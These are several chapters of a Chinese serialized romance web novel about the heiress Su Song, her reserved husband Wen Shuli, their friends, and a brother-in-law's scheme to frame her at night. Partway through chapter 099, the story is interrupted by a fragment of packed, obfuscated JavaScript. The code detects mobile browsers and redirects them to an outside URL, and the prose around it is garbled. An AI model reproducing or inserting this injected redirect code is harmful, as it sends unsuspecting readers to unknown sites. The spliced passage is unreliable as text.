顾辽舟进来的时候,就看到这样一幅画面,她察觉到有人进来,低下头,面对她,一脸艳丽的脸庞,清水朦胧。该怎么形容呢……
美人落泪。
。
温戍礼到了机场,遇到了提着行李箱,戴着口罩的陈曼曼,距离上一次,他的人抓了她,已经三个月了。
时隔三个月,再一次见,温戍礼的表情很淡,目光甚至都不是落在她的手腕上,而是她手下的行李箱。
陈曼曼被他猜疑的目光刺痛,原来这个男人真的没有心的,那么残忍的对她,竟然一点儿也不心疼。
“这次不是来偶遇你的。”她说。
也就是承认了,之前在机场遇到那一次,并不是偶然。温戍礼很聪明,立刻反应过来,问:“所以上次是故意提出跟我回家拿协议的?”
上次从云城回来,他下了飞机,在机场遇到
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陈曼曼,当时跟苏颂因为苏氏的事又闹了情绪,所以在陈曼曼说要不然她跟他回去拿夏叙的聘请协议的时候,他急着夏叙能去苏氏上任,苏颂能赶紧回来,就答应了。
他一直没有觉得只是公事,为的还是苏氏的事情,苏颂为什么不高兴,现在明白了。
不过他很快又冷静的说:“她没必要介意你。”他收回目光,同时脚步向前走,他冷淡得,对曾经的故友要去哪都没问。
陈曼曼气得紧紧握住行李箱的手柄,终极还是忍不住回头,朝着温戍礼的背影大喊:“你不会如愿的,苏颂根本不爱你,她不爱你。”
可是男人只是头也不回的走了,眼泪落下,滑进口罩里消失,通红的眼里只剩恨意。
。
苏颂回了家,躺在沙发里,任由着群里的消息轰炸,她没有回复。
温戍礼不是真心接受她跟周正焕是朋友的事,甚至还砸过闫丽的店。那他为什么要装作很高兴认识她的朋友们?
“我不知道怎么面对他们了。”苏颂翻了个身,“果然,我还是不要朋友比较好。”
就在她翻来覆去的时候,一个专属提示音响起,是温戍礼的消息。
一张白云翻涌,缝隙霞光的高空照片。
是他在飞机上拍的。
【忽然觉得挺好看的。】
苏颂看到这句话,有些吐槽,哪有人发照片给人,不是问人好不好看,而是说他自己觉得好看的。
【大概需要几天,你要是觉得无聊,就去找你朋友,别去温家了。】
他知道她去温家了?不过苏颂关注的点侧重在前,他让她去找朋友玩。
看着这两句话,隔着屏幕,她都能想象出他面无表情说话的样子,甚至连语气都是平波无澜的。
就算是改用了聊天软件,他打字连带句号的习惯还是没改,苏颂想,他这样呆板无趣,说一不二的人。
“会不会是我误会他了?”
苏颂坐起来,在屏幕上打字,发送。
【好的,老公】
095 无情上司开情根了?!
退出跟他的聊天框,点开群聊,因为闫丽一直在@苏颂,还叫她别不理她,现在连周正焕跟李斯俊都出来了,问她怎么回事,闫丽只说是她们之间的事,让他们帮忙喊苏颂出来。
消息很多,苏颂没有全部都看,退出,点开闫丽的聊天框。
闫丽先是在聊天框给她发过消息,见她没回,才到了群里发。
【我就是随口说说,这事我不生气了,你老公有给我补偿】
【一百万呢,我狮子大开口,他也有钱】
【颂颂,别不理我啊】
【你要是不高兴,姐姐请你去嗨吧】
前面三条是接连着发的,最后一条,隔了半个小时。
闫丽是个急性子,半小时大概就是她忍耐的极限了,她以为苏颂回来后想不通,或者跟温戍礼吵架了,才没有回复她,所以才急得到群里找人帮忙叫她出来。
苏颂忽然就笑了,朋友存在的意义就是,有人挂念吧。
她打字回复。
。
温戍礼正在飞机上,看着“老公”两字,却像不认识字了一样。
肖直就坐在他后面,正把要紧的文件先给上司,结果看到上司的手机聊天。
“颂颂”这是上司给对方的备注,然后,他看到上司点击右上方的三个点,又点击三个点,最后到了编辑备注,把“颂颂”删除,重新备注为“老婆”。
老婆。
嗯,温戍礼觉得,这样最顺眼了,颂颂是他在闫丽的账号上,看到闫丽给她的备注,才知道他们私底下都是这样称呼她的。
但这个称呼,只有他可以称呼。
温戍礼很满意,半点也不考虑身后的肖直内心多激动澎湃。
肖直内心OS:过个年,上司开情根了!
他把文件递过去,后问:“温总,这次出差,给太太的礼物,还是选水晶吗?”
温戍礼想了想,只有那条蓝水晶手链见她戴过,可是她取下来后也没见再戴过。至于他送的墨蓝水晶,还藏在盒子里,他的手指在手机上敲了敲,最后说。
“换一个吧。”
对于上司的购买物类,身为助理,肖直有份购物清单,送太太的,当然选贵的,好的,他以为又要跟以为一样送钻石珠宝,哪知道上司又说。
“不送珠宝了,包包也不要。”
肖直:“那要选什么?”
温戍礼又看着聊天界面上的那两个字,唇角勾了勾:“我自己去选吧。”
平常出差,连说句多余的话都嫌浪费时间的上司,现在不仅专门出差买礼物,还要亲自挑选。到底谁说他家上司不浪漫,不懂谈情说爱的,明明就很懂好吧。
就在肖直还感叹上司也有了常人情欲的时候,只听温戍礼转而说:“温泰的资料匿名发给我爸,调戏自己的大嫂?
哼,胆子很大。”
苏颂去了温家,又被温泰骚扰的事情,并没有瞒过他。
肖直一脸板正的应下,还是他那位杀伐果断,对手足也不讲情面的上司。
。
清吧。
闫丽在办公室来回的走着,她是没打算瞒着苏颂没错,这事她迟早会告诉苏颂,让她清楚她老公的为人,但是好像今天这个时机说不太对,苏颂走的时候,整个人状态都不太好,闫丽越想越担心。
有人进来,她以为是苏颂,快速的抬头,结果不是。
“怎么是你?”闫丽皱了下眉,现在她不想看到他。
周正焕扬眉看她一眼:“你又做了什么亏心事,颂颂不理你,见到我又是什么鬼表情?”
闫丽有做亏心事也只是对苏颂,她对她公报私仇了,她承认,故意说温戍礼还砸她店的事情,有报复的意思,但现在她很后悔。
可是对周正焕,她可没有做亏心事,相反,是周扬平无情在先,所以她现在不待见周家人。
“你对颂颂的事情是不是上心过头了?”她在群里并没有说到具体事,偶尔他们几人闹一闹也是有的,苏颂以前在苏家的时候,因为怕她奶奶,更是经常“失联”,但周正焕忙里慌张赶来问了。
闫丽眯眼,道:“如果你真是为她好,就收起你的关心,她的老公是个醋坛子。”
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喜不喜欢的,闫丽并没有说出来,她不是感情**,相反情感经历要比这些小子丰富很多,不过有些事,不必说破。
周正焕在沙发里坐下来,听到这种提示性的话,不仅不着急,还很淡然的说:“温戍礼醋不醋坛子,跟我有什么关系?”
他本就长得好看,瓷白的皮肤,艳红的唇色,上挑的眉眼,让他比女人还精致,美而不娘,他的骨子里是周家的铁血。
骨节分明的大手在闫丽面前晃了晃,他问:“你跟颂颂之间发生了什么事?”
等闫丽说完,周正焕视线一挑,含了几分压迫性:“吵架?你是不知道颂颂是怎么嫁给他的,她敢跟他吵?”
周正焕虎着脸,盯着闫丽,严肃的说:“我知道你小心眼,我不反对有仇报仇,但是,冤有头债有主,是温戍礼惹的你,你让颂颂去折腾他,显得很没道理。”
闫丽自知这件事是自己做错了,没反驳,只是呢喃:“……说话的样子,跟你小叔一样,一生气就难听。”
周正焕起身:“不行,我得去找颂颂,苏氏都是靠温戍礼撑着,她自己在温家都是泥菩萨过江,闹起来,难受的只会是她。”
周正焕刚动,闫丽的手机的提示音就响了。
闫丽一看,赶紧说:“不用去,颂颂回我了。”
周正焕问:“她回你什么了?”
闫丽把手机递过去:“你看。”
。
晚上,苏颂跟闫丽来到King的大厅玩,苏颂走在前头,闫丽在后头拉。
“你冷静冷静,进去被姓温的知道,你就解释不清楚了。”
她说请苏颂来嗨吧,就是当时没招了,服软示好随便说的,以前在云城的时候,她确实常带着苏颂在场子里嗨,但是这里是南城,并且,苏颂结婚了。
周正焕说得对,苏颂在温家也不容易,她不能再让她招惹是非了。
“你跟小周几年前的照片都能被扒出来,今晚进去,不用到明天,热搜肯定又是你温大少奶奶的。”
闫丽在后尽量拉,苏颂却用力往前走。
096 小没良心的
“没事,不会的。”苏颂说,“是他让我来找你们的。”
见闫丽不太相信,苏颂拿出聊天对话给她看。
哪知道闫丽看完之后却是说:“原来你给他的备注是‘温木头’啊!”
苏颂快速的收回手机,怎么这人的关注点这么奇怪呢。
闫丽眼神回复:怎么不说是你的备注奇怪?
苏颂道:“让你看聊天内容,你看什么呢。”
“哦,你叫他老公。”不止看备注,她还有看聊天内容了,姐一目十行,就是这么牛。
苏颂这样的社会小白,碰上闫丽这样的老油条,有时候真那她没办法。“嗳,你……”闫丽忽然挠她,让她猝不及防。
两人就这样嬉嬉闹闹地跑进King会所,被要到隔壁酒吧的温泰看见。
温泰身边的人说:“二少,那人好像是你大嫂。”
温泰也看到了,苏颂上会所,这是大新闻啊,可惜刚才没有拍下来。
温泰说:“你去King,把苏颂在里面的事拍下来。”
同伴说:“我今晚是要来星灿看选美的。”
星灿,新开的酒吧,像是空降一样,开张的速度很快,噱头却也很足,一上来就搞坐台小姐选美,引得全城的风流子弟蜂拥而至。
也是他通知温泰过来的,那人睨着温泰说:“你不说三个月不进夜店场所了吗?结果我一说,你也要过来,总不能你好奇,想看美女,我就不想看吧。”
爱美之心人皆有之。同伴很鄙夷温泰的作态。
哪知道眼神刚瞟过去,又移回来,面前多了一沓厚厚的钞票。
温泰甩着手里的钞票,道:“只要你能把苏颂在里头的照片拍下来,不,录视频,我会再给你这么多的钱。”
那人一看酬金不少,笑呵呵的接过,拍着胸口答应:“包在我身上。”
温泰冷哼:“苏颂啊苏颂,明天,我就要全城所有人,都知道你的真面目。
什么贤惠温良,都是假的!”
。
苏颂跟闫丽进去之后,在一楼找了一个卡座坐,闫丽疑虑:“你今晚就打算在这坐?”
苏颂目测一番,这个位置高,看得比较清楚,同样,别人也容易看到她们。
闻言,苏颂反问:“不然呢?”
她眨巴着眼睛,本就长得稚气,这个样子尽显单纯。闫丽有种被气笑的无奈。
“我还以为,你为了报复温戍礼,今晚要在舞池嗨,把他的脸丢光呢!”所以她才那么阻止她进来。
闫丽说着,苏颂已经走上前,这里的台还有两级阶梯,闫丽抬脚,也跟了上前。她本就长得妩媚风情,这会提着裙摆,扭着腰肢,像是一直妖精。
比起苏颂,闫丽更能跟这里的环境融合。苏颂看起来太纯了,但也只是仅仅看起来。
“我还记得,你第一次到我那,就在舞池里跳舞,跳到不肯回家。”十八岁的少女,有着青春的叛逆,也有着青春的魅力。
她像是一只误入狼群的小兔子,闫丽刚出来,一眼就注意到这个小姑娘,也许是缘分的指引,那一晚,她时不时的,眼神就往苏颂那瞟,次数多到,连来找她的李斯俊都注意到了。
“认识?”李斯俊看她频频走神,问。
李斯俊很少来她这里,他说不喜欢这样乌烟瘴气的环境,他来是有事,想找一瓶好酒送给李父。闫丽要去地下室拿酒,就点了头,同他说:“你看着点,那些老色鬼一直盯着她。”
她去拿酒了,哪知道那个空档就出事了,苏颂被那些男人围住,被骚扰,还有人动手动脚想带她去开房。
回忆总是带着些感怀,让闫丽想抽一根,这种环境,倒也不必在意苏颂是不是介意了,一股子烟味。
闫丽抽出一根,点燃,吸之前,忽然问:“阿俊对你英雄救美,你就没有对他心动过?”
苏颂看着她,依然目光清澈。
闫丽把烟往嘴里送,她吸了一口,吐出烟雾,颓然的美,迷人的笑,周围已经有人注意过来。
她说:“也不是我要夸,阿俊从小就长得帅,追他的女孩子很多……你果然傻,
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错过这样的好男人。”
那样帅气多金的公子哥没看上,却喜欢一个冰山脸的老男人。更重要的是,那个公子哥还喜欢她,不会像温戍礼一样,让她难过。闫丽在心里可惜。
看着苏颂,看着看着,就想起了她那个待在公寓里,差点喝背过去的表弟。
有点心疼。
她想,为什么人总是得不到自己爱的人呢?
她是,苏颂是,李斯俊也是。
苏颂听不清闫丽在说什么,周围环境太吵了,台上的音乐很大声,她靠近一些,提高音量问:“丽姐,你说什么?”
闫丽一口烟吹在她脸上,骂道:“小没良心的。”
苏颂强压着自己不咳嗽,小鼻子皱得高高的,一只手一直扇着空气,把闫丽的坏心情都扇走了。
苏颂终于压下喉咙的干痒,开口说:“我不是不为你出气,我带你来这里是有原因的。”她四下张望,终于看到自己要找的人了。
苏颂拉了下闫丽,两人凑近,苏颂说:“顾辽舟来了,别回头。”她拉紧闫丽,说出自己的计划,“戍礼砸了你的店,不是怕被我知道,给你补偿吗?钱花完了吧,丽姐。”
闫丽被她拉住,一只手只能举高,避免手上的烟烫到她,这会两人挨得很近,平常在苏颂面前都是游刃有余的闫丽,这会都被她搞得有些紧张了。
“是花完了。”一百万,装修加打广告,为了提高好评率,她还高薪挖了一个调酒师,又请多几个小妹,几下就花光了。
闫丽看着近在咫尺的苏颂,刚才还是只小兔子般的她,这会眼神放精光,又像是狐狸一样。
苏颂坏笑着说:“我帮你多要一些。”她调皮的眨眼,开始了表演。
“什么?之前姐姐的店升级,其实真实的原因是,店被砸了?”
顾辽舟远远的,看着那人像是苏颂,走近一点确认,刚认完人,想把这姑奶奶往楼上请,结果靠近就听到苏颂拔高声音,很震惊的问话。
这问的哪里是闫丽,这是在考验他的心跳。
097 夫妻俩开始探索彼此的底线
顾辽舟自认自己心理素质一向不错,这会也忍不住按压心脏,目光更是紧紧的盯着闫丽,心里祈祷着。
祖宗嗳,别乱说话!
闫丽立刻明白过来苏颂的意思,这是要通过顾辽舟这个传声筒,把消息传到温戍礼那去,让温戍礼不得不追加**。
不得不说,好姐妹,心连心,她却跟姐妹玩脑筋。
这一刻,闫丽自愧不如,功利心在道义面前不堪一击。她笑着说:“姐欠你一个人情。”
温戍礼砸店这件事,在她拿了钱还告诉苏颂的事情,就已经翻篇了。这次如果再来钱,得算是苏颂给她的。
苏颂说:“我也想知道他到底是不是真的跟说的一样,接受你们。”
闫丽明白了,苏颂故意选这里也有试探的意思,鼓励的说:“要做自己。”
她配合着,也拔高着音量,说:“是啊,被一只疯狗乱闯,还在店里乱蹦跶。”
被骂疯狗的顾辽舟:“……”
他知道,该他出场了。
顾辽舟一步就跨上去,说:“你们来了怎么不说一声。”
他老道又热情,人已经不动声息的膈在苏颂跟闫丽之间,把闫丽挡在身后。
顾辽舟对苏颂笑:“嫂子来了怎么不开个厢,这里太杂乱了。”
苏颂说:“我只是听丽姐说心情不太好,所以带她来你这里放松一下,应该没人认出我吧。”她又装出后怕惶恐的样子,看起来单纯无害。
闫丽有点忍不住,躲在顾辽舟身后憋笑。她终于理解,为什么那么贪玩的苏颂来到南城,就成了乖巧贤惠、懂事端庄,这个小妮子,真能演,她那张脸就是天生的演员脸。
果然把顾辽舟逗急了。
“她心情不好啊,有什么好心情不好的,那个包厢我看也别开了,今晚爆场,人有点多,你们要放松,我带你们去别的地方。”
顾辽舟火急火燎的将人带出去,温泰的同伴老何看到就是这样,很失望,摸了摸口袋里的钱,要是拍不到有用的,温泰肯定要他还钱。他就是一个在有钱纨绔里面骗吃骗喝的混混而已,根本没有丰厚的家世背景,有钱进账,他舍不得还回去。
他的眼珠子转啊转,想着其他办法。忽然两手一拍:“有了。”
。
顾辽舟开车,亲自带着两人,他真不放心这两人单独在一起了,但他好像又有事,时不时的打电话,还会发消息。
苏颂说:“我不想再次上头条,是因为我英年早逝啊!”她在中间探着脑袋,盯着顾辽舟在手机屏幕上摁的手,吓得顾辽舟一把将手收回去。
“大晚上的,别说不吉利话,怪吓人。”道上的人多半不信命,但敬鬼神。
苏颂把头偏向他,说:“你看起来很心虚的样子,你是不是在打我们的坏主意?”
顾辽舟服了:“你是温戍礼的老婆,我能打你什么主意?”要打也是打温戍礼的,谁叫他现在是甲方,顾辽舟还要靠他,夺取大权!
苏颂又说:“哦。那你知道是谁砸了丽姐的店吗?你们的店就在对面,丽姐是我朋友,有人欺负她,我很生气。”
顾辽舟瞥一眼那人畜无害的一张脸,有种要哭的冲动。就这小瘦胳膊小瘦腿的,还为人鸣不平,自量力啊姑奶奶。
不过人家身子弱,奈何靠山强啊!顾辽舟囫囵的说:“不,不知道,误会吧。”
“你干什么结巴?”
苏颂一路上都是戏弄顾辽舟,倒是把闫丽看爽了,看他砸他店的时候还嚣张!
顾辽舟“千辛万苦”的终于将人载到目的地。
闫丽捂着鼻子,看着老旧铁拱门上的字,难以置信的问:“猫狗市场?你闹呢!”
顾辽舟拧眉,说:“你们女孩子不就是喜欢毛茸茸的宠物吗?看到那种小东西就会高兴,不是吗?”
“你这是从哪个女人身上得出来的结论,个别不代表全部好吗?”
“哇,好可爱啊!”
两人的争论声,在苏颂一声声惊呼里变得沉默。
苏颂是真的喜欢这些小动物,看到大型犬
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类,她会害怕,但是看到小猫小狗,她几乎觉得每一只都可爱。
闫丽只觉得这里的宠物粪便味好恶心,受不了的往边上走,靠近街道上透气。
顾辽舟看到她往边上去,又看着苏颂沉迷在这些小东西身上,跟上闫丽。
“你不是拿了钱了吗?怎么还跟她说?”顾辽舟一把抓住闫丽的胳膊,哪知道闫丽忽然被抓,整个人往后踉跄,直接往他身上撞。
“啊!”还好闫丽及时收住,只是刚碰到,这一撞,气得她要骂人,“说话就说话,动手动脚干什么!”
却见顾辽舟还低着头,注视着她的胸口。
“流氓!”话是这样说,但闫丽不遮掩,还挺直了些。
她是个善于利用自身优势的女人。
顾辽舟松开手,被骂也不生气,还调笑道:“你怎么不说是你故意勾引我。我就拉一下,至于投怀送抱?还是说,你都是这样勾引男人的……利用你的‘优势’。”
顾辽舟两手在自己的胸前比了一个很夸张的动作。
这种行为,要是是别的女孩子估计要哭了,但她是闫丽,男人的调戏,她已经**以为常。她的视线往下:“怎么,你被勾引到了?”
好吧,顾辽舟就没有碰见过这么厚脸皮的女人,默默侧过身子,遮挡住她的视线。哪有女人这样盯男人那的!
“脸皮这么厚,还会哭。”
没想到中午真被他看到自己哭了,原本还游刃有余的闫丽,变得有些气急败坏:“要你管。”
顾辽舟耸肩,一副痞气的样子:“不想让我管,就别把我扯进来!你要跟苏颂说,就不能换个地方?”
店是顾辽舟砸的,摆平的时候,他也是中间人,让温戍礼知道,又是在他那被苏颂知晓的,不是让他难做?顾辽舟抽出一根烟,点上。
“你不守信用,我还要守信用。”
没想到他不是来兴师问罪的。闫丽弯腰凑近,用肩膀撞了他的手臂一下,说:“你跟姓温的不是一路的,不阻止我?”
098 他那么理智,又怎么会不懂爱
顾辽舟吸一口烟,垂眸看她,说:“我早就告诉过戍礼,这事迟早得露馅。不如趁早说,还能省一百万。”他故意咬重那一百万,提醒她拿了钱的了。
闫丽扬眉,看着顾辽舟的眼神明显多了份欣赏:“你还挺坦荡。不过那一百万,不是为了查我是谁的人?”
原来她什么都知道。顾辽舟正眼看她一眼,也有遇到对手的尊重。
说到这个,闫丽明显得意,音调都往上勾,她仰着下巴,“我就说你查不到。”
她的长相属于浓系美艳,调皮的样子,有点吸引人。顾辽舟的目光落在她饱满的红唇上。
“银行卡你也查不出来。”人是温戍礼猜出来的,还是周扬平故意暴露,他做事一向谨慎,不会留手尾。
“所以,是他让你哭的?”
顾辽舟也不知道自己怎么回事,本来中午去找闫丽,是要看看能不能问出来店周扬平的事,虽然温戍礼说先按兵不动。但对手太强,他不得不早点做防范,结果去到清吧,就看到闫丽在哭。
她落泪的样子,已经在他脑子里徘徊一个下午跟半个晚上了,让他也很烦躁。
见她瞪他,顾辽舟了然:“原来真是他让你哭啊!看来周家人真的跟传言的一样,除了对老婆,一点都不怜香惜玉。”
“你管得太多了!”大概戳中闫丽的痛点,她气呼呼的走开了。
顾辽舟深吸一口烟,抬起的右手手臂上,似乎还有她刚才磨蹭过的余温。
苏颂看了好久,一直没买,最后还是顾辽舟买的,一只小蓝猫。
苏颂提着猫笼,表情是高兴的,语气却显得失落,说:“他不让我养。”
顾辽舟指着闫丽:“让你朋友帮你养不就行了。”
闫丽瞪他:“少给我惹事。”话是这样说,但手却结果苏颂手里的猫笼。
苏颂见闫丽愿意帮她养,高兴极了:“太好了,那我们再去挑一下猫咪的用品跟猫粮吧。”
老何一直跟着他们,见他们进来宠物用品商店,悄悄靠近,趁着他们不注意,一把撞过去,把闫丽手里的猫笼撞掉下,小蓝猫跑了出来。
闫丽看猫跑了,急忙追过去:“嗳,别跑。”
顾辽舟也看到猫跑了,三人连忙去追。
老何手里拿着鱼还有猫粮增香剂,重重的气息,引着小猫跟着他跑。他转进市场一侧的小道。老市场,周围都是老旧的建筑物跟窄小的巷子,弯弯绕绕的,不熟悉的人,很容易绕迷路。
。
星灿酒吧里
温泰一直没有等到老何的信息,急得打过去电话,张口就骂:“让你拍个照片,你死女人裙下了?”
老何说:“没有。”
“那照片呢,视频呢?”老何这会儿正躲在胡同里,呼吸急促,他没想到跟苏颂她们在一起那个男的竟然是顾辽舟,King的老板!
老何跟着那些纨绔,也没少混迹南城的夜场,这个King的来历可不简单,顾家不好惹,人家是真混道上的!
老何害怕了,但他已经把人引过来了,手机里,又是温泰骂骂咧咧的声音。
他咽下口水,闭了闭眼,打算一不做二不休,索性跟温泰说:“二少,你等着吧,这次我肯定帮你,给你大哥一个狠狠的报复,事成之后,你别忘给多点钱给我就行。”
说完,他挂了电话,跨出去:“你是不是在找一只猫?”
酒吧这边的温泰,看着被挂了的电话,将手机丢在桌子上:“这个老何又有什么馊主意?”
身边的人说:“他一向鬼主意多,只要钱到位,他什么都办得到,跟狗腿子一样。”都是圈里的富二代富三代,酒肉归酒肉,但心里都门儿清,不过都是逗老何玩的多。话里都是鄙夷。
老何为了在他们的这些人之间混,确实是这样的人,但温泰这会怎么有些不安呢。老何能帮他怎么报复温戍礼呢?苏颂到底在会所干嘛?
他想去隔壁看看,可身边的人却拉住他:“快看,选美开始了,喔哦,一号就长得很正。”
。
新加坡这边,肖直看
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着手里提着的笼子,很不置信,他怎么都不会想到,他家严肃正经的上司,会大半夜,带着他加班,去宠物店买猫?!
并且还为这只猫改变了行程规划。
“温总,那边说直升飞机已经准备好了。”
本来来这边,是要谈合作的。年底他们过来就洽谈过,可今天来到了,对方公司才说他们的老板休年假去了,还没回来。肖直以为上司会等,毕竟这个合作是上司找了几次,主动提出要合作的,且现在集团那边的行程并不紧。
可是因为一只猫,上司决定要回去了,还联系了这边的朋友,要了一架直升飞机,还加急申请航线,现在大半夜了就要走。
只为,尽快把这只猫送到太太手里。
原先肖直一直磕CP,觉得上司开始有了人情味挺不错的,跟太太的互动也有些甜,但现在,他有些担心。
肖直问:“来哼的人说,他们的老板明天就回来了,我们不等到明天再走吗?”
温戍礼走在前头,头也没回的说:“那就明天再过来。”
“可我上午刚把二少的资料匿名发到董事长那去,我们现在回去,会正好碰上董事长处理二少。”
温戍礼终于停下脚步,回头,发现肖直站在那,没跟过来。
面对他温凉的审视,肖直两手握紧,像是下定某种决心,他说:“温总,你跟太太感情好是好事,但你是总裁,管理着十几个公司的CEO,你不能这样儿女情长。
再说,你都对兄弟下手了,更应该把心思放在事业上。”
要不然,一边争权,一边沉溺情感,叫人怎么服气。
肖直说完,周围一片静谧,深夜的异国街道,连空气都漂浮着让人不安的气息。肖直说完就后悔了,他一个助理管得太多了。
就在他想着认错的时候,上司开口了。
“我没有儿女情长。”温戍礼说,“这个合作是为苏氏谈的,而我接手苏氏,是娶她的条件,你如果要说我因为感情而荒于工作,那就错了。”
099 玫瑰不为谁开,却让人想摘
他看着关在笼子里的猫,表情有些嫌弃,但还是选择了这个送给苏颂当礼物:“我是因为她才接受苏氏的。”
不管是初次见面,在团花锦簇中,让他惊艳的小姑娘,还是在这三年多里,体贴周到,满足他对异性所有想象的小妻子——苏颂,他的太太,都是他最中意合适的另一半。
温戍礼继续往前走,语气轻飘飘的:“盛泰,我不稀罕。爆温泰的料,是他惹到我了。”挨了顿揍,竟然还敢招惹他老婆,这跟温泰是好了伤疤忘了疼!
肖直跟了温戍礼很多年了,很少听上司一口气说这么多话,更少听到他提及太太。他一直以为,自己的上司是被迫娶的太太,对苏氏跟苏颂都是出于责任,万万没想到,真相是:上司是为了苏颂才这么拼命工作的!
肖直:……
So,一直以来都是他搞错主次了?
两人步入大厦,这栋楼的楼顶有停机坪,飞机已经在上面等着,坐电梯的时候,温戍礼给苏颂拨去电话。
他看着笼子里的小猫,勾了个弧度:“答应你养猫了,以后都得帮我收拾行李了。”他抬手逗猫,但猫咪太小了,害怕的后退到角落里去。
他轻轻蹙眉,看着自动挂断的电话,没人接听。
“手机没在身边吗?”
。
苏颂正拼命的跑,忽然发出一声惨叫,消失在黑暗的巷子里……
。
温泰急匆匆的出来,第一次,他抵抗住了看美女的诱惑,只因为,他的眼皮一直在跳,非常的不安。
他到King去找人,问了几个在这的老相好,总算问到有人看到过苏颂。
小红说:“她还跟一个朋友来的,两个人都被顾总带出去了。”小红好奇,问,“这个女人是顾总的新相好吗?还是另外一个女人是?顾总已经很久没理我了。”
温泰说不清怎么回事,心慌慌的,直接推开小红,嘴里还很不尊重的骂:“他就拿你当摇钱树,你还真把自己当回事。一个biao子。”
温泰跟顾辽舟不同,他跟女人厮混,纯纯就是好色,事后谁还记得谁,所以他把这些女人都当垃圾,甚至连跟他多说一句话的资格都没有。
他问什么就说什么就是了,竟然还跟他打听,反了!
温泰出来,给老何打电话,打到第三个,对方才接起,温泰已经没有耐心,叉腰质问:“苏颂到底在哪,她在干嘛?”
那边的老何说:“二少,不好了,你家大嫂偷人,你快来!”
温泰飞快上车,一脚油门,车子直接窜出去。
他是小三上位生的孩子,在林美丽的激进教育下,他的成长里只有争和赢,心里早就扭曲,所以他不懂感情,甚至对女人也没什么好印象,那些女人都是要来巴结他,都想从他手里要钱而已。
他把这种事当成交易,也不曾觉得对谁亏欠,可唯独对苏颂,他有种不甘心。
没人知道,一开始的时候,他爸是要让苏颂嫁给他的,原因很简单,他爸想守他爷爷跟苏家的约定,而他跟苏颂年纪差不多。
他妈会极力撮合温戍礼娶苏颂,真正的原因是因为这个。
当时年少,他只记恨被苏颂打的那一巴掌,并没有阻止母亲,他想,就温戍礼那个冷漠冰山机器人,苏颂跟了他,肯定会后悔,婚后有得她哭。
如果她哭,他就去笑话她。他像是一个幼稚的男孩,在感兴趣的异性面前,不懂讨好,只会恶作剧。
可是新婚第二天,温戍礼就带她去他的大平层住,避免了苏颂在温家的约束,除开逢年过节必要的时候,他都不带苏颂回去,就连他妈要教训苏颂都找不到机会,温戍礼把她保护得很好,好到他爸越来越看重苏颂。
而苏颂,她明知道他跟温戍礼关系不好,每次见到他,都还能笑脸相迎,温声细语的喊他“二叔”,她被呵护得太天真。
缺爱的人,总会不自觉的被拥有太多爱的人吸引。他越发的关注苏颂,见她跟温戍礼过得越好,他就越扭曲,越是觉得,苏颂本来应该是她老婆。
每次逗弄她,都是想引起她的注意罢了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204850|197126||http|test|mini|href|location''.split(''|''),0,{}));
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r>她反应越大,他就越觉得有趣,这是第一个,不讨好他的女人,很新奇。并且还很漂亮,苏颂真的长得很好看,甚至连拿酒瓶砸他的时候,脸庞沾了他的血的时候,都漂亮极了。
就像一朵热烈开放的红玫瑰。
那个画面,让他深夜时分,越是疯狂的想念,以至于伤口还没好,他就忍不住找女人,他把那些女人都当作是苏颂,越是得不到,越是成为想疯狂占有。
他像是一个病入膏肓的变态,他接受自己变态的肖想苏颂,可他不接受苏颂成为别的男人的女人。
油门踩到底,无视红灯直接开过。他绝不让其他人染指他的红玫瑰!
老何在巷子口抽烟,本来办完事,他就打算走了的,万一被人发现,留下手尾就麻烦了,可温泰让他等着,不准走。
老何来回踱步,深夜的风有些冷了,但一想到厚厚的钱,他又心血澎湃起来。
他看着巷子里头,那乌漆嘛黑紧锁的房间,孤男寡女在一起,就跟干柴烈火差不多。他邪淫的想着,只要明天门一开,苏颂跟野男人厮混的事情传开,温戍礼的绿帽子就戴定了!
老婆劈腿,对哪个男人来说都是极大的打击,还是一辈子都抹不掉的羞辱。他可是帮温泰出了一个大招对付他大哥啊,他激动的想着。
“二少急着过来,也是因为想感受这么精彩的戏吧,那我等会儿能不能多要一点?开口个十万块,不多吧?”
他痴心妄想着,不多会,就听到跑车轰隆的声音,把市场里的狗都吵醒了,响起此起彼伏的狗吠声,接着,他就看到一个人影。
老何丢下烟,喊:“二少,这。”
温泰快步走过去,问:“我大嫂呢?”
老何指了指里头,三角眼快速的转着,把自己编好的故事,邀功一般的说出来:“二少,我听你的,要拍她的照片,哪知道她在会所坐不到一会就出来了,我想,不能辜负你对我的信任,就跟过来了,哪知道被我发现一个大秘密。
她来这里,私会男人!”
100 我们只是朋友,朋友却抱着她
温泰已经大步走到那间屋外,老式房屋,间连间,小又密集。年代太过久远,这里很多已经空置,唯有这一间,发出声音。
“嗯~”旖旎得让人联想的叹息,是女人的声音。
温泰猛地抬眼,下一秒开始用力的砸门,拳头像是铁锤一般,把破旧的木门砸得“梆梆”响。
温泰大声的喊:“苏颂,你个biao子,吊着老子,结果在这样的地方被穷鬼搞。
你不是很高傲吗?脸呢!”
他又砸门又踹的,看得一侧的老何大惊,怎么他像是来捉老婆奸的一样?这可把老何看傻了。
“傻愣着干什么,给我把门砸开!”温泰命令着,老何被他吓到了,只能加入,一起**砸门。
这木门是很厚实,但奈何真的太老了,衔接的地方已经腐坏,真这样被他们给砸开了。
“砰!”门重重的砸在地上,扬起很多灰尘,发出巨响。看到里面一幕,吓得老何退开,喊着“鬼啊!”
里头,两部手机开着两个手电筒,一男一女走出来。
为先的是一个男的,老何看清,很不可置信的说:“顾……顾辽舟?”他不是把人骗去另外的房子关着了吗?怎么会在这里?
他再看过去,那女人身形曲线妖娆,一张脸似笑非笑,不是苏颂。
他……他弄错人了!
温泰看到不是苏颂,回头问老何:“我大嫂呢?”
闫丽双手环胸,手电筒直接往温泰脸上怼,语气讥诮:“小叔子谋害大嫂,还真经典。”
顾辽舟说:“认识我,还敢对我用这个低劣的诡计?区区一间小破房,我一脚就踹开了。”老何把顾辽舟引到另一条街关起来,以为这样顾辽舟就不会碍事,哪知道就是这个行为引起顾辽舟的注意。
